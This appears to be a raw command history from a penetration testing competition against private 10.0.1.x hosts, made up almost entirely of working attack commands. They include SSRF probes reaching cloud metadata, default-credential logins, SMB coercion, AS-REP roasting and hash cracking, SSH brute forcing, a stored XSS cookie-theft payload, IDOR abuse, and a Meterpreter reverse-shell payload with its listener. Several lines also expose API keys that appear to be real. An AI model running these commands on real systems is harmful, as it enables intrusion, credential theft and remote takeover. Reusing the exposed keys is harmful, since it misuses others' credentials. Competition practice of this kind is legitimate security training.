_raw: curl -s http://10.0.1.99:8080/api/version | python3 -m json.tool


_raw: curl -s --proxy http://10.0.1.99:8080 http://10.0.1.254:9697/api/http/routers | python3 -m json.tool | head -80


_raw: curl -sk -H "Host: test.rooms.allports.tours" https://10.0.1.99/whoami


_raw: for port in 22 80 443 3306 8080; do   echo -n "Port $port: ";   curl -sk -H "Host: test.rooms.allports.tours"     "https://10.0.1.99/api/diagnostics/http"     -X POST -d "{\"url\":\"http://172.18.0.1:$port/\"}"     -H "Content-Type: application/json" 2>&1 |     python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status') or d.get('error','unknown'))"; done


_raw: curl -sk -H "Host: test.rooms.allports.tours"   "https://10.0.1.99/api/diagnostics/http"   -X POST -d '{"url":"http://169.254.169.254/latest/meta-data/"}'   -H "Content-Type: application/json" | python3 -m json.tool


_raw: for i in $(seq 1 20); do   curl -sk -H "Host: test.rooms.allports.tours"     "https://10.0.1.99/api/diagnostics/ping"     -X POST -d "{\"host\":\"172.18.0.$i\"}"     -H "Content-Type: application/json" 2>&1 |     grep -v "100% packet loss" | grep "64 bytes" && echo "172.18.0.$i alive"; done


_raw: curl -s "http://10.0.1.30:8096/System/Info" -H "X-Emby-Token: <TOKEN>" | grep -oP '"(Version|ServerName|ProgramDataPath|LogPath|CachePath)"\s*:\s*"[^"]*"'


_raw: curl -s "http://10.0.1.30:8096/Environment/DirectoryContents?path=/root&includeFiles=true&includeDirectories=true" -H "X-Emby-Token: <TOKEN>" | grep -oP '"Path":"[^"]*"' | sed 's/"Path":"//g;s/"//g'


_raw: for path in /exec /run /cmd /shell /env /config /debug /health /metrics; do echo -n "diagnostics:8081$path: "; curl -sk --max-time 3 -H "Host: test.rooms.allports.tours" "https://10.0.1.99/api/diagnostics/http" -X POST -d "{\"url\":\"http://diagnostics:8081$path\"}" -H "Content-Type: application/json" 2>/dev/null | grep -oP '"status":\s*\K\d+'; done


_raw: -d '{"Username":"jellyfin","Pw":"jellyfin"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['AccessToken'])")


_raw: -H 'X-Emby-Authorization: MediaBrowser Client="Pentest", Device="Kali", DeviceId="pentest01", Version="1.0"' \


_raw: TOKEN=$(curl -s -X POST "http://10.0.1.30:8096/Users/AuthenticateByName" \


_raw: curl -s "http://10.0.1.30:8096/Environment/DirectoryContents?path=/root&includeFiles=true&includeDirectories=true"     -H "X-Emby-Token: 02fe6b298bfc4f869995554653407acd" | python3 -c "import sys,json; [print(x['Path']) for x in json.load(sys.stdin)]"


_raw: curl -s "http://10.0.1.30:8096/System/Info" -H "X-Emby-Token: 02fe6b298bfc4f869995554653407acd" | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'Version: {d[\"Version\"]}'); print(f'ServerName: {d[\"ServerName\"]}'); print(f'ProgramDataPath: {d[\"ProgramDataPath\"]}'); print(f'LogPath: {d[\"LogPath\"]}'); print(f'CachePath: {d[\"CachePath\"]}')"


_raw: curl -sk -H "Host: test.rooms.allports.tours" "https://10.0.1.99/api/diagnostics/ping" -X POST -d '{"host":"172.18.0.6"}' -H "Content-Type: application/json"


_raw: nmap --script mysql-enum -p 3306 10.0.1.99


_raw: nmap --script mysql-enum,mysql-info -p 3306 10.0.1.99


_raw: nmap --script rdp-ntlm-info -p 3389 10.0.1.21


_raw: nmap --script rdp-ntlm-info -p 3389 10.0.1.20


_raw: nmap --script ssl-enum-ciphers -p 3389,5986 10.0.1.20


_raw: nmap --script ssl-enum-ciphers -p 3389,5986 10.0.1.21


_raw: nxc smb 10.0.1.21 -u 'Guest' -p '' --rid-brute


_raw: nxc smb 10.0.1.20 -u 'Guest' -p '' --rid-brute


_raw: nxc smb 10.0.1.21 --shares -u 'Guest' -p ''


_raw: nxc smb 10.0.1.20 --shares -u 'Guest' -p ''


_raw: nxc smb 10.0.1.6 --shares -u 'Guest' -p ''


_raw: nxc smb 10.0.1.20 -u '' -p '' -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.6 -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.6 -u 'Guest' -p '' -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.20 -u 'Guest' -p '' -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.21 -u 'Guest' -p '' -M coerce_plus -o METHOD=All ALWAYS=True 2>&1


_raw: nxc smb 10.0.1.21 -u 'Guest' -p '' -M coerce_plus --options 2>&1


_raw: nmap --script dhcp-discover -sU -p 67 10.0.1.1


_raw: curl -sI http://10.0.1.10:9091/ 2>/dev/null | grep -qi "x-frame-options" || echo "[MEDIUM] X-Frame-Options header missing - clickjacking possible"


_raw: curl -sk -H "Host: $HOST_HEADER"   "https://10.0.1.99/api/diagnostics/http"   -X POST -d '{"url":"http://169.254.169.254/latest/meta-data/"}'   -H "Content-Type: application/json" | python3 -m json.tool


_raw: echo "=== Kerberos Guest Account Enumeration - $(date) ===" >> kerberos_findings.txt && impacket-GetNPUsers -no-pass -usersfile <(echo "guest") -dc-ip 10.0.1.6 -format hashcat 10.0.1.6/ 2>&1 | tee -a kerberos_findings.txt


_raw: curl -fsSL https://claude.ai/install.sh | bash


_raw: hashcat -m 1600 -a 0 '$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/' /tmp/rockyou.txt --force


_raw: zcat /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt 2>/dev/null


_raw: curl -s http://10.0.1.99:8080/api/http/middlewares | grep -oP '[a-zA-Z]+:\$apr1\$[^"]+' > /tmp/hashes.txt


_raw: curl -sk -H "Host: test.rooms.allports.tours"   "https://10.0.1.99/api/diagnostics/ping"   -X POST -d '{"host":"backend-dev"}'   -H "Content-Type: application/json" | python3 -m json.tool


_raw: echo "=== NEGATIVE PRICE: Placing order with -500.00 total ===" && curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/food/order -H "Content-Type: application/json" -d '{"room":"console","items":[{"id":"special_1","name":"Free Money Exploit","qty":1,"price":-500.00}],"total":-500.00}'


_raw: echo "=== COMPLETE IDOR CHAIN: Trigger emergency as Room 999, then clear it as Room 100 ===" && curl -sk -H "Host: 999.rooms.allports.tours" https://10.0.1.99/api/emergency/security && echo "" && sleep 1 && EMERG_ID=$(curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/api/emergencies | grep -o '"ID":[0-9]*' | tail -1 | cut -d: -f2) && echo "Emergency ID created: $EMERG_ID" && curl -sk -H "Host: 100.rooms.allports.tours" "https://10.0.1.99/api/emergency/clear/$EMERG_ID"


_raw: echo "=== MYSQL EXPOSED: Database accepting connections from network ===" && nmap -sV -p 3306 10.0.1.99 --script mysql-info 2>/dev/null | grep -A5 "3306/tcp"


_raw: echo "=== EXPIRED SSL CERTIFICATE ===" && echo | openssl s_client -connect 10.0.1.99:443 2>/dev/null | openssl x509 -noout -dates -subject 2>/dev/null


_raw: echo "=== ADMIN ENDPOINTS: Protected but discoverable ===" && curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/admin.html -w "\n/admin.html: HTTP %{http_code}" -o /dev/null && curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/diagnostics.html -w "\n/diagnostics.html: HTTP %{http_code}\n" -o /dev/null


_raw: echo "=== INFO DISCLOSURE: Internal network architecture exposed ===" && curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/whoami


_raw: echo "=== NEGATIVE PRICE: Placing order with -$500.00 total ===" && curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/food/order -H "Content-Type: application/json" -d '{"room":"console","items":[{"id":"special_1","name":"Free Money Exploit","qty":1,"price":-500.00}],"total":-500.00}'


_raw: echo "=== STORED XSS: Injecting <script> payload ===" && curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/services/request -H "Content-Type: application/json" -d '{"serviceOptionID":1,"notes":"<script>alert(document.cookie)</script>"}' && echo -e "\n=== Payload stored and returned: ===" && curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/api/services/open | grep -o '"notes":"[^"]*script[^"]*"'


_raw: echo "=== IDOR: Room 999 canceling Room console's service request ===" && curl -sk -H "Host: 999.rooms.allports.tours" -X POST https://10.0.1.99/api/services/cancel -H "Content-Type: application/json" -d '{"requestID":2}'


_raw: echo "=== DISABLED SERVICE BYPASS: Requesting Captain (serviceID=5) ===" && curl -sk -H "Host: console.rooms.allports.tours" "https://10.0.1.99/api/services/lists?includeDisabled=True" | grep -o '"id":5.*disabled":true' && echo "" && curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/services/request -H "Content-Type: application/json" -d '{"serviceOptionID":5,"notes":"Bypassing disabled service"}'


_raw: echo "=== IDOR: Room 999 clearing Room 1's emergency ===" && curl -sk -H "Host: 999.rooms.allports.tours" "https://10.0.1.99/api/emergency/clear/2" && echo ""


_raw: stat -c '%y' '/home/pentester/Downloads/pentest_report_10.0.1.20.md'


_raw: msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.205; set LPORT 4444; run"


_raw: msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <YOUR_IP>; set LPORT 4444; run"


_raw: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 LPORT=4444 -f py -o shellcode.py


_raw: nmap -sV -sC -p 3389 --script rdp-ntlm-info,rdp-enum-encryption 10.0.1.6


_raw: curl -sk -H "Host: test.rooms.allports.tours"   "https://10.0.1.99/api/diagnostics/ping"   -X POST -d '{"host":"backend-dev"}'   -H "Content-Type: application/json" | python3 -m json.tool


_raw: nmap -sV -p 5985 --script=http-title,http-methods 10.0.1.6 -oN winrm_5985_10.0.1.6.txt && cat winrm_5985_10.0.1.6.txt


_raw: echo -n "[*] QuickConnect Enabled: " && curl -s "http://10.0.1.30:8096/QuickConnect/Enabled"


_raw: curl -sI "http://10.0.1.30:8096/web/" 2>&1 | grep -iE "^(HTTP|X-Frame-Options|X-Content-Type-Options|Server:)" || echo "[!] MISSING: X-Frame-Options and X-Content-Type-Options headers"


_raw: curl -s "http://10.0.1.30:8096/System/Info" -H "X-Emby-Token: <TOKEN>" | grep -oP '"(Version|ServerName|ProgramDataPath|LogPath|CachePath)"\s*:\s*"[^"]*"'


_raw: curl -s "http://10.0.1.30:8096/Environment/DirectoryContents?path=/root&includeFiles=true&includeDirectories=true" -H "X-Emby-Token: <TOKEN>" | grep -oP '"Path":"[^"]*"' | sed 's/"Path":"//g;s/"//g'


_raw: +1\", Version=\"1.0\"" -d '{"Username":"jellyfin","Pw":"jellyfin"}' | grep -oP '"(Name|IsAdministra


_raw: +n" -H "X-Emby-Authorization: MediaBrowser Client=\"Pentest\", Device=\"Kali\", DeviceId=\"pentest0


_raw: curl -s -X POST "http://10.0.1.30:8096/Users/AuthenticateByName" -H "Content-Type: application/jso


_raw: curl -s "http://10.0.1.30:8096/Environment/DirectoryContents?path=/root&includeFiles=true&includeDirectories=true" -H "X-Emby-Token: <TOKEN>" | grep -oP '"Path":"[^"]*"' | sed 's/"Path":"//g;s/"//g


_raw: curl -s "http://10.0.1.30:8096/Environment/DirectoryContents?path=/root&includeFiles=true&includeDirectories=true" -H "X-Emby-Token: <TOKEN>" \| grep -oP '"Path":"[^"]*"' \| sed 's/"Path":"//g;s/"//g'


_raw: nmap -p 3389 --script ssl-cert 10.0.1.6 2>&1 | grep -E "Subject:|Issuer:|Not valid"


_raw: curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/services/request -H "Content-Type: application/json" -d '{"serviceOptionID":5,"notes":"Bypassing disabled service"}'


_raw: curl -sk -H "Host: console.rooms.allports.tours" "https://10.0.1.99/api/services/lists?includeDisabled=True" | grep -o '"id":5.*disabled":true'


_raw: for room in 100 101 999 admin; do echo -n "Room $room: "; curl -sk -H "Host: ${room}.rooms.allports.tours" https://10.0.1.99/api/id; done


_raw: for i in $(seq 1 10); do curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/api/emergency/medical -o /dev/null -w "Request $i: HTTP %{http_code}\n"; done


_raw: hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 4 -f 10.0.1.10 ssh 2>/dev/null | tail -5


_raw: curl -fsSL https://claude.ai/install.sh | bash


_raw: echo "# cptc11-compliance-pod2" >> README.md


_raw: echo 'export ANTHROPIC_AUTH_TOKEN=sk-cptc-team12-key1-eed712c0-3fe5-4093-aa25-095ca13d211f' >> ~/.bashrc


_raw: echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team12-key1-eed712c0-3fe5-4093-aa25-095ca13d211f"' >> ~/.bashrc


_raw: echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrage.rit.edu"' >> ~/.bashrc


_raw: ./kerbrute userenum --dc 10.0.1.20 -d allports.local /usr/share/Seclists/usernames/xato-net-10-million-usernames.txt


_raw: ./kerbrute userenum --dc 10.0.1.20 -d allports.local /usr/share/Seclists/Usernames/xato-net-10-million-usernames.txt


_raw: ./kerbrute userenum --dc 10.0.1.20 -d allports.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: nmap -p 445 --script smb-security-mode,smb-protocols 10.0.1.20


_raw: nmap -p 445 --script smb-vuln* 10.0.1.20


_raw: crackmapexec smb 10.0.1.20 -u '' -p '' --users


_raw: crackmapexec smb 10.0.1.20 -u '' -p '' --shares


_raw: echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team9-key2-8cca35fd-980b-436d-801d-b24f8daff878"' >> ~/.bashrc


_raw: echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: nmap --script mysql-enum,mysql-info -p 3306 10.0.1.99


_raw: echo "=== STORED SCRIPT CONTENT: Injecting <script> payload ===" && curl -sk -H "Host: console.rooms.allports.tours" -X POST https://10.0.1.99/api/services/request -H "Content-Type: application/json" -d '{"serviceOptionID":1,"notes":"<script>alert(document.cookie)</script>"}' && echo -e "\n=== Payload stored and returned (JSON-encoded): ===" && curl -sk -H "Host: console.rooms.allports.tours" https://10.0.1.99/api/services/open | grep -o '"notes":"[^"]*script[^"]*"'


_raw: echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team9-key6-b3368bf9-e6c8-482c-a32c-b3abd02c01b6"' >> ~/.bashrc


_raw: curl -fsSL https://claude.ai/install.sh | bash


_raw: echo 'export ANTHROPIC_AUTH_TOKEN="<sk-cptc-your-key-here>"' >> ~/.bashrc